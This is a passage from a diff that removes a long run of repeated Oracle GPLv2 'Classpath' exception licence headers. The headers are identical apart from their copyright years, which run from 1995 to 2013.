-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1995, 2012, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1995, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1996, 1997, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1996, 1998, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1996, 1999, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1996, 2000, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1996, 2001, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1996, 2002, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1996, 2003, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1996, 2004, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1996, 2005, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1996, 2006, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1996, 2007, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1996, 2008, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1996, 2009, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1996, 2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1996, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1996, 2012, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1996, 2013, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1996, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1997, 1998, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1997, 1999, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1997, 2000, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1997, 2001, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1997, 2002, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1997, 2003, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1997, 2004, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1997, 2005, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1997, 2006, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1997, 2007, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1997, 2008, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
